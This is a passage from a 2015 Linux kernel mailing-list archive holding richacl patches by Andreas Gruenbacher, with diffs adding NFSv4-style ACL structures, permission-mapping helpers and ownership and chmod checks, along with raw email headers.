richacls can currently grant. + */ +static int inode_extended_permission(struct inode *inode, int mask) +{ + if (!IS_RICHACL(inode)) + return -EPERM; + return inode_permission(inode, mask); +} + +static bool inode_uid_change_ok(struct inode *inode, kuid_t ia_uid) +{ + if (uid_eq(current_fsuid(), inode->i_uid) && + uid_eq(ia_uid, inode->i_uid)) + return true; + if (uid_eq(current_fsuid(), ia_uid) && + inode_extended_permission(inode, MAY_TAKE_OWNERSHIP) == 0) + return true; + if (capable_wrt_inode_uidgid(inode, CAP_CHOWN)) + return true; + return false; +} + +static bool inode_gid_change_ok(struct inode *inode, kgid_t ia_gid) +{ + int in_group = in_group_p(ia_gid); + if (uid_eq(current_fsuid(), inode->i_uid) && + (in_group || gid_eq(ia_gid, inode->i_gid))) + return true; + if (in_group && inode_extended_permission(inode, MAY_TAKE_OWNERSHIP) == 0) + return true; + if (capable_wrt_inode_uidgid(inode, CAP_CHOWN)) + return true; + return false; +} + +/** + * inode_owner_permitted_or_capable + * + * Check for permissions implicitly granted to the owner, like MAY_CHMOD or + * MAY_SET_TIMES. Equivalent to inode_owner_or_capable for file systems + * without support for those permissions. + */ +static bool inode_owner_permitted_or_capable(struct inode *inode, int mask) +{ + struct user_namespace *ns; + + if (uid_eq(current_fsuid(), inode->i_uid)) + return true; + if (inode_extended_permission(inode, mask) == 0) + return true; + ns = current_user_ns(); + if (ns_capable(ns, CAP_FOWNER) && kuid_has_mapping(ns, inode->i_uid)) + return true; + return false; +} + +/** * inode_change_ok - check if attribute changes to an inode are allowed * @inode: inode to check * @attr: attributes to change @@ -47,22 +106,18 @@ int inode_change_ok(struct inode *inode, struct iattr *attr) return 0; /* Make sure a caller can chown. */ - if ((ia_valid & ATTR_UID) && - (!uid_eq(current_fsuid(), inode->i_uid) || - !uid_eq(attr->ia_uid, inode->i_uid)) && - !capable_wrt_inode_uidgid(inode, CAP_CHOWN)) - return -EPERM; + if (ia_valid & ATTR_UID) + if (!inode_uid_change_ok(inode, attr->ia_uid)) + return -EPERM; /* Make sure caller can chgrp. */ - if ((ia_valid & ATTR_GID) && - (!uid_eq(current_fsuid(), inode->i_uid) || - (!in_group_p(attr->ia_gid) && !gid_eq(attr->ia_gid, inode->i_gid))) && - !capable_wrt_inode_uidgid(inode, CAP_CHOWN)) - return -EPERM; + if (ia_valid & ATTR_GID) + if (!inode_gid_change_ok(inode, attr->ia_gid)) + return -EPERM; /* Make sure a caller can chmod. */ if (ia_valid & ATTR_MODE) { - if (!inode_owner_or_capable(inode)) + if (!inode_owner_permitted_or_capable(inode, MAY_CHMOD)) return -EPERM; /* Also check the setgid bit! */ if (!in_group_p((ia_valid & ATTR_GID) ? attr->ia_gid : @@ -73,7 +128,7 @@ int inode_change_ok(struct inode *inode, struct iattr *attr) /* Check for setting the inode time. */ if (ia_valid & (ATTR_MTIME_SET | ATTR_ATIME_SET | ATTR_TIMES_SET)) { - if (!inode_owner_or_capable(inode)) + if (!inode_owner_permitted_or_capable(inode, MAY_SET_TIMES)) return -EPERM; } diff --git a/include/linux/fs.h b/include/linux/fs.h index aab32c8..ba91a89 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -86,6 +86,9 @@ typedef void (dax_iodone_t)(struct buffer_head *bh_map, int uptodate); #define MAY_CREATE_DIR 0x00000200 #define MAY_DELETE_CHILD 0x00000400 #define MAY_DELETE_SELF 0x00000800 +#define MAY_TAKE_OWNERSHIP 0x00001000 +#define MAY_CHMOD 0x00002000 +#define MAY_SET_TIMES 0x00004000 /* * flags in file.f_mode. Note that FMODE_READ and FMODE_WRITE must correspond -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 17:59:56 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 70CFF7F69 for ; Sun, 11 Oct 2015 17:59:56 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E35E1AC002 for ; Sun, 11 Oct 2015 15:59:55 -0700 (PDT) X-ASG-Debug-ID: 1444604393-04cbb05fbe3d5b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id IhhbMsgqJTf8ehFd (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 15:59:53 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id A39C78CF55; Sun, 11 Oct 2015 22:59:52 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36U016614; Sun, 11 Oct 2015 18:59:46 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 06/46] richacl: In-memory representation and helper functions Date: Mon, 12 Oct 2015 00:58:17 +0200 X-ASG-Orig-Subj: [PATCH v10 06/46] richacl: In-memory representation and helper functions Message-Id: <1444604337-17651-7-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604393 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher A richacl consists of an NFSv4 acl and an owner, group, and other mask. These three masks correspond to the owner, group, and other file permission bits, but they contain NFSv4 permissions instead of POSIX permissions. Each entry in the NFSv4 acl applies to the file owner (OWNER@), the owning group (GROUP@), everyone (EVERYONE@), or to a specific uid or gid. As in the standard POSIX file permission model, each process is the owner, group, or other file class. A richacl grants a requested access only if the NFSv4 acl in the richacl grants the access (according to the NFSv4 permission check algorithm), and the file mask that applies to the process includes the requested permissions. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/Makefile | 2 + fs/richacl_base.c | 67 +++++++++++++ include/linux/richacl.h | 256 ++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 325 insertions(+) create mode 100644 fs/richacl_base.c create mode 100644 include/linux/richacl.h diff --git a/fs/Makefile b/fs/Makefile index f79cf40..fe3e9dd 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -48,6 +48,8 @@ obj-$(CONFIG_COREDUMP) += coredump.o obj-$(CONFIG_SYSCTL) += drop_caches.o obj-$(CONFIG_FHANDLE) += fhandle.o +obj-$(CONFIG_FS_RICHACL) += richacl.o +richacl-y := richacl_base.o obj-y += quota/ diff --git a/fs/richacl_base.c b/fs/richacl_base.c new file mode 100644 index 0000000..6d9a073 --- /dev/null +++ b/fs/richacl_base.c @@ -0,0 +1,67 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); + +/** + * richacl_alloc - allocate a richacl + * @count: number of entries + */ +struct richacl * +richacl_alloc(int count, gfp_t gfp) +{ + size_t size = sizeof(struct richacl) + count * sizeof(struct richace); + struct richacl *acl = kzalloc(size, gfp); + + if (acl) { + atomic_set(&acl->a_refcount, 1); + acl->a_count = count; + } + return acl; +} +EXPORT_SYMBOL_GPL(richacl_alloc); + +/** + * richacl_clone - create a copy of a richacl + */ +struct richacl * +richacl_clone(const struct richacl *acl, gfp_t gfp) +{ + int count = acl->a_count; + size_t size = sizeof(struct richacl) + count * sizeof(struct richace); + struct richacl *dup = kmalloc(size, gfp); + + if (dup) { + memcpy(dup, acl, size); + atomic_set(&dup->a_refcount, 1); + } + return dup; +} + +/** + * richace_copy - copy an acl entry + */ +void +richace_copy(struct richace *to, const struct richace *from) +{ + memcpy(to, from, sizeof(struct richace)); +} diff --git a/include/linux/richacl.h b/include/linux/richacl.h new file mode 100644 index 0000000..bfa94bb --- /dev/null +++ b/include/linux/richacl.h @@ -0,0 +1,256 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#ifndef __RICHACL_H +#define __RICHACL_H + +#define RICHACE_OWNER_SPECIAL_ID 0 +#define RICHACE_GROUP_SPECIAL_ID 1 +#define RICHACE_EVERYONE_SPECIAL_ID 2 + +struct richace { + unsigned short e_type; + unsigned short e_flags; + unsigned int e_mask; + union { + kuid_t uid; + kgid_t gid; + unsigned int special; + } e_id; +}; + +struct richacl { + atomic_t a_refcount; + unsigned int a_owner_mask; + unsigned int a_group_mask; + unsigned int a_other_mask; + unsigned short a_count; + unsigned short a_flags; + struct richace a_entries[0]; +}; + +#define richacl_for_each_entry(_ace, _acl) \ + for (_ace = (_acl)->a_entries; \ + _ace != (_acl)->a_entries + (_acl)->a_count; \ + _ace++) + +#define richacl_for_each_entry_reverse(_ace, _acl) \ + for (_ace = (_acl)->a_entries + (_acl)->a_count - 1; \ + _ace != (_acl)->a_entries - 1; \ + _ace--) + +/* a_flags values */ +#define RICHACL_WRITE_THROUGH 0x40 +#define RICHACL_MASKED 0x80 + +#define RICHACL_VALID_FLAGS ( \ + RICHACL_WRITE_THROUGH | \ + RICHACL_MASKED) + +/* e_type values */ +#define RICHACE_ACCESS_ALLOWED_ACE_TYPE 0x0000 +#define RICHACE_ACCESS_DENIED_ACE_TYPE 0x0001 + +/* e_flags bitflags */ +#define RICHACE_FILE_INHERIT_ACE 0x0001 +#define RICHACE_DIRECTORY_INHERIT_ACE 0x0002 +#define RICHACE_NO_PROPAGATE_INHERIT_ACE 0x0004 +#define RICHACE_INHERIT_ONLY_ACE 0x0008 +#define RICHACE_IDENTIFIER_GROUP 0x0040 +#define RICHACE_SPECIAL_WHO 0x4000 + +#define RICHACE_VALID_FLAGS ( \ + RICHACE_FILE_INHERIT_ACE | \ + RICHACE_DIRECTORY_INHERIT_ACE | \ + RICHACE_NO_PROPAGATE_INHERIT_ACE | \ + RICHACE_INHERIT_ONLY_ACE | \ + RICHACE_IDENTIFIER_GROUP | \ + RICHACE_SPECIAL_WHO) + +#define RICHACE_INHERITANCE_FLAGS ( \ + RICHACE_FILE_INHERIT_ACE | \ + RICHACE_DIRECTORY_INHERIT_ACE | \ + RICHACE_NO_PROPAGATE_INHERIT_ACE | \ + RICHACE_INHERIT_ONLY_ACE ) + +/* e_mask bitflags */ +#define RICHACE_READ_DATA 0x00000001 +#define RICHACE_LIST_DIRECTORY 0x00000001 +#define RICHACE_WRITE_DATA 0x00000002 +#define RICHACE_ADD_FILE 0x00000002 +#define RICHACE_APPEND_DATA 0x00000004 +#define RICHACE_ADD_SUBDIRECTORY 0x00000004 +#define RICHACE_READ_NAMED_ATTRS 0x00000008 +#define RICHACE_WRITE_NAMED_ATTRS 0x00000010 +#define RICHACE_EXECUTE 0x00000020 +#define RICHACE_DELETE_CHILD 0x00000040 +#define RICHACE_READ_ATTRIBUTES 0x00000080 +#define RICHACE_WRITE_ATTRIBUTES 0x00000100 +#define RICHACE_WRITE_RETENTION 0x00000200 +#define RICHACE_WRITE_RETENTION_HOLD 0x00000400 +#define RICHACE_DELETE 0x00010000 +#define RICHACE_READ_ACL 0x00020000 +#define RICHACE_WRITE_ACL 0x00040000 +#define RICHACE_WRITE_OWNER 0x00080000 +#define RICHACE_SYNCHRONIZE 0x00100000 + +/* Valid RICHACE_* flags for directories and non-directories */ +#define RICHACE_VALID_MASK ( \ + RICHACE_READ_DATA | RICHACE_LIST_DIRECTORY | \ + RICHACE_WRITE_DATA | RICHACE_ADD_FILE | \ + RICHACE_APPEND_DATA | RICHACE_ADD_SUBDIRECTORY | \ + RICHACE_READ_NAMED_ATTRS | \ + RICHACE_WRITE_NAMED_ATTRS | \ + RICHACE_EXECUTE | \ + RICHACE_DELETE_CHILD | \ + RICHACE_READ_ATTRIBUTES | \ + RICHACE_WRITE_ATTRIBUTES | \ + RICHACE_WRITE_RETENTION | \ + RICHACE_WRITE_RETENTION_HOLD | \ + RICHACE_DELETE | \ + RICHACE_READ_ACL | \ + RICHACE_WRITE_ACL | \ + RICHACE_WRITE_OWNER | \ + RICHACE_SYNCHRONIZE) + +/** + * richacl_get - grab another reference to a richacl handle + */ +static inline struct richacl * +richacl_get(struct richacl *acl) +{ + if (acl) + atomic_inc(&acl->a_refcount); + return acl; +} + +/** + * richacl_put - free a richacl handle + */ +static inline void +richacl_put(struct richacl *acl) +{ + if (acl && atomic_dec_and_test(&acl->a_refcount)) + kfree(acl); +} + +/** + * richace_is_owner - check if @ace is an OWNER@ entry + */ +static inline bool +richace_is_owner(const struct richace *ace) +{ + return (ace->e_flags & RICHACE_SPECIAL_WHO) && + ace->e_id.special == RICHACE_OWNER_SPECIAL_ID; +} + +/** + * richace_is_group - check if @ace is a GROUP@ entry + */ +static inline bool +richace_is_group(const struct richace *ace) +{ + return (ace->e_flags & RICHACE_SPECIAL_WHO) && + ace->e_id.special == RICHACE_GROUP_SPECIAL_ID; +} + +/** + * richace_is_everyone - check if @ace is an EVERYONE@ entry + */ +static inline bool +richace_is_everyone(const struct richace *ace) +{ + return (ace->e_flags & RICHACE_SPECIAL_WHO) && + ace->e_id.special == RICHACE_EVERYONE_SPECIAL_ID; +} + +/** + * richace_is_unix_user - check if @ace applies to a specific user + */ +static inline bool +richace_is_unix_user(const struct richace *ace) +{ + return !(ace->e_flags & RICHACE_SPECIAL_WHO) && + !(ace->e_flags & RICHACE_IDENTIFIER_GROUP); +} + +/** + * richace_is_unix_group - check if @ace applies to a specific group + */ +static inline bool +richace_is_unix_group(const struct richace *ace) +{ + return !(ace->e_flags & RICHACE_SPECIAL_WHO) && + (ace->e_flags & RICHACE_IDENTIFIER_GROUP); +} + +/** + * richace_is_inherit_only - check if @ace is for inheritance only + * + * ACEs with the %RICHACE_INHERIT_ONLY_ACE flag set have no effect during + * permission checking. + */ +static inline bool +richace_is_inherit_only(const struct richace *ace) +{ + return ace->e_flags & RICHACE_INHERIT_ONLY_ACE; +} + +/** + * richace_is_inheritable - check if @ace is inheritable + */ +static inline bool +richace_is_inheritable(const struct richace *ace) +{ + return ace->e_flags & (RICHACE_FILE_INHERIT_ACE | + RICHACE_DIRECTORY_INHERIT_ACE); +} + +/** + * richace_is_allow - check if @ace is an %ALLOW type entry + */ +static inline bool +richace_is_allow(const struct richace *ace) +{ + return ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE; +} + +/** + * richace_is_deny - check if @ace is a %DENY type entry + */ +static inline bool +richace_is_deny(const struct richace *ace) +{ + return ace->e_type == RICHACE_ACCESS_DENIED_ACE_TYPE; +} + +/** + * richace_is_same_identifier - are both identifiers the same? + */ +static inline bool +richace_is_same_identifier(const struct richace *a, const struct richace *b) +{ + return !((a->e_flags ^ b->e_flags) & + (RICHACE_SPECIAL_WHO | RICHACE_IDENTIFIER_GROUP)) && + !memcmp(&a->e_id, &b->e_id, sizeof(a->e_id)); +} + +extern struct richacl *richacl_alloc(int, gfp_t); +extern struct richacl *richacl_clone(const struct richacl *, gfp_t); +extern void richace_copy(struct richace *, const struct richace *); + + +#endif /* __RICHACL_H */ -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:00:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 95CD17F6C for ; Sun, 11 Oct 2015 18:00:01 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 85BC48F8049 for ; Sun, 11 Oct 2015 16:00:01 -0700 (PDT) X-ASG-Debug-ID: 1444604399-04cbb05fc13d5d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Ll2eDxQyAR02aAly (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:00:00 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 7D0C3461C0; Sun, 11 Oct 2015 22:59:59 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36V016614; Sun, 11 Oct 2015 18:59:53 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 07/46] richacl: Permission mapping functions Date: Mon, 12 Oct 2015 00:58:18 +0200 X-ASG-Orig-Subj: [PATCH v10 07/46] richacl: Permission mapping functions Message-Id: <1444604337-17651-8-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604400 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher We need to map from POSIX permissions to NFSv4 permissions when a chmod() is done, from NFSv4 permissions to POSIX permissions when an acl is set (which implicitly sets the file permission bits), and from the MAY_READ/MAY_WRITE/MAY_EXEC/MAY_APPEND flags to NFSv4 permissions when doing an access check in a richacl. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 118 ++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 47 ++++++++++++++++++- 2 files changed, 164 insertions(+), 1 deletion(-) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index 6d9a073..dd99773 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -65,3 +65,121 @@ richace_copy(struct richace *to, const struct richace *from) { memcpy(to, from, sizeof(struct richace)); } + +/* + * richacl_mask_to_mode - compute the file permission bits from mask + * @mask: %RICHACE_* permission mask + * + * Compute the file permission bits corresponding to a particular set of + * richacl permissions. + * + * See richacl_masks_to_mode(). + */ +static int +richacl_mask_to_mode(unsigned int mask) +{ + int mode = 0; + + if (mask & RICHACE_POSIX_MODE_READ) + mode |= S_IROTH; + if (mask & RICHACE_POSIX_MODE_WRITE) + mode |= S_IWOTH; + if (mask & RICHACE_POSIX_MODE_EXEC) + mode |= S_IXOTH; + + return mode; +} + +/** + * richacl_masks_to_mode - compute file permission bits from file masks + * + * When setting a richacl, we set the file permission bits to indicate maximum + * permissions: for example, we set the Write permission when a mask contains + * RICHACE_APPEND_DATA even if it does not also contain RICHACE_WRITE_DATA. + * + * Permissions which are not in RICHACE_POSIX_MODE_READ, + * RICHACE_POSIX_MODE_WRITE, or RICHACE_POSIX_MODE_EXEC cannot be represented + * in the file permission bits. Such permissions can still be effective, but + * not for new files or after a chmod(); they must be explicitly enabled in the + * richacl. + */ +int +richacl_masks_to_mode(const struct richacl *acl) +{ + return richacl_mask_to_mode(acl->a_owner_mask) << 6 | + richacl_mask_to_mode(acl->a_group_mask) << 3 | + richacl_mask_to_mode(acl->a_other_mask); +} +EXPORT_SYMBOL_GPL(richacl_masks_to_mode); + +/** + * richacl_mode_to_mask - compute a file mask from the lowest three mode bits + * @mode: mode to convert to richacl permissions + * + * When the file permission bits of a file are set with chmod(), this specifies + * the maximum permissions that processes will get. All permissions beyond + * that will be removed from the file masks, and become ineffective. + */ +unsigned int +richacl_mode_to_mask(umode_t mode) +{ + unsigned int mask = 0; + + if (mode & S_IROTH) + mask |= RICHACE_POSIX_MODE_READ; + if (mode & S_IWOTH) + mask |= RICHACE_POSIX_MODE_WRITE; + if (mode & S_IXOTH) + mask |= RICHACE_POSIX_MODE_EXEC; + + return mask; +} + +/** + * richacl_want_to_mask - convert the iop->permission want argument to a mask + * @want: @want argument of the permission inode operation + * + * When checking for append, @want is (MAY_WRITE | MAY_APPEND). + * + * Richacls use the iop->may_create and iop->may_delete hooks which are used + * for checking if creating and deleting files is allowed. These hooks do not + * use richacl_want_to_mask(), so we do not have to deal with mapping MAY_WRITE + * to RICHACE_ADD_FILE, RICHACE_ADD_SUBDIRECTORY, and RICHACE_DELETE_CHILD + * here. + */ +unsigned int +richacl_want_to_mask(unsigned int want) +{ + unsigned int mask = 0; + + if (want & MAY_READ) + mask |= RICHACE_READ_DATA; + if (want & MAY_DELETE_SELF) + mask |= RICHACE_DELETE; + if (want & MAY_TAKE_OWNERSHIP) + mask |= RICHACE_WRITE_OWNER; + if (want & MAY_CHMOD) + mask |= RICHACE_WRITE_ACL; + if (want & MAY_SET_TIMES) + mask |= RICHACE_WRITE_ATTRIBUTES; + if (want & MAY_EXEC) + mask |= RICHACE_EXECUTE; + /* + * differentiate MAY_WRITE from these request + */ + if (want & (MAY_APPEND | + MAY_CREATE_FILE | MAY_CREATE_DIR | + MAY_DELETE_CHILD)) { + if (want & MAY_APPEND) + mask |= RICHACE_APPEND_DATA; + if (want & MAY_CREATE_FILE) + mask |= RICHACE_ADD_FILE; + if (want & MAY_CREATE_DIR) + mask |= RICHACE_ADD_SUBDIRECTORY; + if (want & MAY_DELETE_CHILD) + mask |= RICHACE_DELETE_CHILD; + } else if (want & MAY_WRITE) + mask |= RICHACE_WRITE_DATA; + return mask; +} +EXPORT_SYMBOL_GPL(richacl_want_to_mask); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index bfa94bb..f4d7040 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -126,6 +126,49 @@ struct richacl { RICHACE_WRITE_OWNER | \ RICHACE_SYNCHRONIZE) +/* + * The POSIX permissions are supersets of the following NFSv4 permissions: + * + * - MAY_READ maps to READ_DATA or LIST_DIRECTORY, depending on the type + * of the file system object. + * + * - MAY_WRITE maps to WRITE_DATA or RICHACE_APPEND_DATA for files, and to + * ADD_FILE, RICHACE_ADD_SUBDIRECTORY, or RICHACE_DELETE_CHILD for directories. + * + * - MAY_EXECUTE maps to RICHACE_EXECUTE. + * + * (Some of these NFSv4 permissions have the same bit values.) + */ +#define RICHACE_POSIX_MODE_READ ( \ + RICHACE_READ_DATA | \ + RICHACE_LIST_DIRECTORY) +#define RICHACE_POSIX_MODE_WRITE ( \ + RICHACE_WRITE_DATA | \ + RICHACE_ADD_FILE | \ + RICHACE_APPEND_DATA | \ + RICHACE_ADD_SUBDIRECTORY | \ + RICHACE_DELETE_CHILD) +#define RICHACE_POSIX_MODE_EXEC RICHACE_EXECUTE +#define RICHACE_POSIX_MODE_ALL ( \ + RICHACE_POSIX_MODE_READ | \ + RICHACE_POSIX_MODE_WRITE | \ + RICHACE_POSIX_MODE_EXEC) +/* + * These permissions are always allowed + * no matter what the acl says. + */ +#define RICHACE_POSIX_ALWAYS_ALLOWED ( \ + RICHACE_SYNCHRONIZE | \ + RICHACE_READ_ATTRIBUTES | \ + RICHACE_READ_ACL) +/* + * The owner is implicitly granted + * these permissions under POSIX. + */ +#define RICHACE_POSIX_OWNER_ALLOWED ( \ + RICHACE_WRITE_ATTRIBUTES | \ + RICHACE_WRITE_OWNER | \ + RICHACE_WRITE_ACL) /** * richacl_get - grab another reference to a richacl handle */ @@ -251,6 +294,8 @@ richace_is_same_identifier(const struct richace *a, const struct richace *b) extern struct richacl *richacl_alloc(int, gfp_t); extern struct richacl *richacl_clone(const struct richacl *, gfp_t); extern void richace_copy(struct richace *, const struct richace *); - +extern int richacl_masks_to_mode(const struct richacl *); +extern unsigned int richacl_mode_to_mask(umode_t); +extern unsigned int richacl_want_to_mask(unsigned int); #endif /* __RICHACL_H */ -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:00:08 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 854837F6F for ; Sun, 11 Oct 2015 18:00:08 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 73D4C304051 for ; Sun, 11 Oct 2015 16:00:08 -0700 (PDT) X-ASG-Debug-ID: 1444604406-04cbb05fc03d5e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 2tiT8fOgy4e70yVD (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:00:07 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 66FAD461E7; Sun, 11 Oct 2015 23:00:06 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36W016614; Sun, 11 Oct 2015 19:00:00 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 08/46] richacl: Compute maximum file masks from an acl Date: Mon, 12 Oct 2015 00:58:19 +0200 X-ASG-Orig-Subj: [PATCH v10 08/46] richacl: Compute maximum file masks from an acl Message-Id: <1444604337-17651-9-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604407 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Compute upper bound owner, group, and other file masks with as few permissions as possible without denying any permissions that the NFSv4 acl in a richacl grants. This algorithm is used when a file inherits an acl at create time and when an acl is set via a mechanism that does 